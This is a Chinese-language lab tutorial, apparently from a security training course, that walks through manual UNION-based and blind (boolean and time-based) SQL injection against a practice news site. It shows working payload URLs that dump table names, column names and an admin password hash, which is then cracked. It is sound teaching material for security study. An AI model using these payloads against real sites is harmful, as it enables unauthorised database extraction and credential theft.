Top

  1. 手工普通 SQL 注入
  2. SQL 盲注

1 手工普通 SQL 注入

1.1 问题

本例要求掌握手工普通 SQL 注入全过程,具体要求如下:

1)判断是否存在注入点(字符型、数字型)

2)猜解 SQL 查询语句中的字段数

3)确定显示的字段位置

4)获取当前数据库

5)获取数据库中的表

6)获取表中的字段名

7)下载数据(脱库)

1.2 步骤

实现此案例需要按照如下步骤进行。

步骤一:判断是否存在注入点(字符型、数字型)

1)安装 Firefox 附加组件 HackBar

打开 “附加组件” 界面,取消“自动更新附加组件”,然后选择“从文件安装附加组件…”,浏览安装 HackBar 组件,如图 - 1 所示。

CASE - 图1

图 - 1

按 F12 键,查看 HackBar 是否正常安装,如图 - 2 所示。

CASE - 图2

图 - 2

访问 news 靶场网站,打开某新闻页面,使用 HackBar 组件修改 id 参数,以判断是否存在数字型注入点,如图 - 3 所示,说明存在数字型注入点。

CASE - 图3

图 - 3

修改 id 参数,以判断是否存在字符型注入点,如图 - 4 所示,说明不存在(’)字符型注入点。

CASE - 图4

图 - 4

步骤二:猜解 SQL 查询语句中的字段数

1)使用 order by 关键字,变化其参数猜解表中字段数,如图 - 5 所示。

CASE - 图5

图 - 5

2)通过变换参数得知字段数为 15,如图 - 6 所示。

CASE - 图6

图 - 6

步骤三:确定显示的字段位置

构造 union select 联合查询语句,确定显示字段的位置是 3 和 11 字段,如图 - 7 所示。

  1. 1. http:
  2. 2. ?id=-55 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

CASE - 图7

图 - 7

步骤四:获取当前数据库

使用 database() 函数获取当前数据库名称,如图 - 8 所示。

  1. 1. http:
  2. 2. ?id=-55 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15

CASE - 图8

图 - 8

步骤五:获取数据库中的表

1)通过查询 MySQL 元数据库 information_schema 中 tables 表 table_name 字段获取数据库 news 中所有表名,如图 - 9 所示。

  1. 1. http:
  2. 2. ?id=-55 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema='news'

CASE - 图9

图 - 9

2)使用 Encoding — HexDecode 解码,如图 - 10 所示。

  1. 1. 6E6577735F61727469636C652C6E6577735F63617465676F72792C6E6577735F66696C652C6E6577735F667269656E646C696E6B2C6E6577735F6D6573736167652C6E6577735F6E6F746963652C6E6577735F706167652C6E6577735F7573657273
  2. 2. news_article,news_category,news_file,news_friendlink,news_message,news_notice,news_page,news_users

CASE - 图10

图 - 10

步骤六:获取表中字段名

1)通过查询 MySQL 元数据库 information_schema 中 columns 表 column_name 字段,获取 news_users 表中所有字段名,如图 - 11 所示。

  1. 1. http:
  2. 2. ?id=-55 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='news_users'

CASE - 图11

图 - 11

2)使用 Encoding — HexDecode 解码,如图 - 12 所示。

  1. 1. 7573657269642C757365726E616D652C70617373776F7264
  2. 2. userid,username,password

CASE - 图12

图 - 12

步骤七:下载数据(脱库)

1)查询 news_users 表中 username、password 字段中数据,如图 - 13 所示。

  1. 1. http:
  2. 2. ?id=-55 union select 1,2,hex(concat(username, ' : ',password)),4,5,6,7,8,9,10,11,12,13,14,15 from news_users

CASE - 图13

图 - 13

2)使用 Encoding — HexDecode 解码,如图 - 14 所示。

  1. 1. 61646D696E203A206531306164633339343962613539616262653536653035376632306638383365
  2. 2. admin : e10adc3949ba59abbe56e057f20f883e

CASE - 图14

图 - 14

3)通过 md5 解码 “e10adc3949ba59abbe56e057f20f883e” 得“123456”,如图 - 15 所示。

CASE - 图15

图 - 15

2 SQL 盲注

2.1 问题

本例要求掌握 SQL 盲注全过程,具体要求如下:

1)判断是否存在注入点(布尔、延时)

2)猜解当前数据库名

3)猜解数据库中的表名

4)猜解表中的字段名

5)猜解数据

2.2 步骤

实现此案例需要按照如下步骤进行。

步骤一:判断是否存在注入点(布尔、延时)

1)构造 “恒真” 语句,判断页面布尔状态,如图 - 16 所示。

CASE - 图16

图 - 16

2)构造 “恒假” 语句,判断页面布尔状态,如图 - 17 所示。

CASE - 图17

图 - 17

3)构造条件 “真” 语句,判断是否页面延时,如图 - 18 所示。

  1. 1. http:
  2. 2. ?id=55 and if((1=1),sleep(5),1)

CASE - 图18

图 - 18

可以通过 “网络监视器” 查看页面载入耗时,如图 - 19 所示。

CASE - 图19

图 - 19

4)构造条件 “假” 语句,判断是否页面延时,如图 - 20 所示。

  1. 1. http:
  2. 2. ?id=55 and if((1=2),sleep(5),1)

CASE - 图20

图 - 20

可以通过 “网络监视器” 查看页面载入耗时,如图 - 21 所示。

CASE - 图21

图 - 21

步骤二:猜解当前数据库名

1)构造语句猜解数据库长度,比如长度为 3 时,如图 - 22 所示。

  1. 1. http:
  2. 2. ?id=55 and length(database())=3

CASE - 图22

图 - 22

比如长度为 4 时,如图 - 23 所示,根据页面布尔状态得知数据库长度为 4。

  1. 1. http:
  2. 2. ?id=55 and length(database())=4

CASE - 图23

图 - 23

2)构造语句猜解数据库名称中第 1 个字母,比如其 ASCII 码是 100,如图 - 24 所示。

  1. 1. http:
  2. 2. ?id=55 and ord(substr(database(),1,1))=100

CASE - 图24

图 - 24

比如其 ASCII 码是 110,如图 - 25 所示,猜解得知数据库名称第 1 个字母 ASCII 码是 110,即 “n”

CASE - 图25

图 - 25

3)同理猜解数据库名称中第 2 个字母,如图 - 26 所示,得知数据库名称第 2 个字母 ASCII 码是 101,即 “e”。

  1. 1. http:
  2. 2. ?id=55 and ord(substr(database(),2,1))=101

CASE - 图26

图 - 26

步骤三:猜解数据库表名

猜解数据库中表的第 1 个字母,如图 - 27 所示,得知数据库名称第 1 个字母 ASCII 码是 110,即 “n”,同理猜解其他位置字母。

  1. 1. http:
  2. 2. ?id=55 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'),1,1))=110

CASE - 图27

图 - 27

步骤四:猜解表中的字段名

猜解 news_users 表中字段名中的第 1 个字母,如图 - 28 所示,得知表中字段第 1 个字母 ASCII 码是 117,即 “u”,同理猜解其他位置字母。

  1. 1. http:
  2. 2. ?id=55 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),1,1))=117

CASE - 图28

图 - 28

步骤四:猜解数据

猜解 username 字段中数据,如图 - 29 所示,得知 username 字段中数据第 1 个字母 ASCII 码是 97,即 “a”,同理猜解其他位置字母。

  1. 1. http:
  2. 2. ?id=55 and ord(substr((select group_concat(username) from news_users ),1,1))=97

CASE - 图29

图 - 29

猜解 password 字段中数据,如图 - 30 所示,得知 password 字段中数据第 1 个字母 ASCII 码是 101,即 “e”,同理猜解其他位置字母。

  1. 1. http:
  2. 2. ?id=55 and ord(substr((select group_concat(password) from news_users ),1,1))=101

CASE - 图30

图 - 30
https://tts.tmooc.cn/ttsPage/NTD/NTDTN202109/INJECTION/DAY02/CASE/01/index.html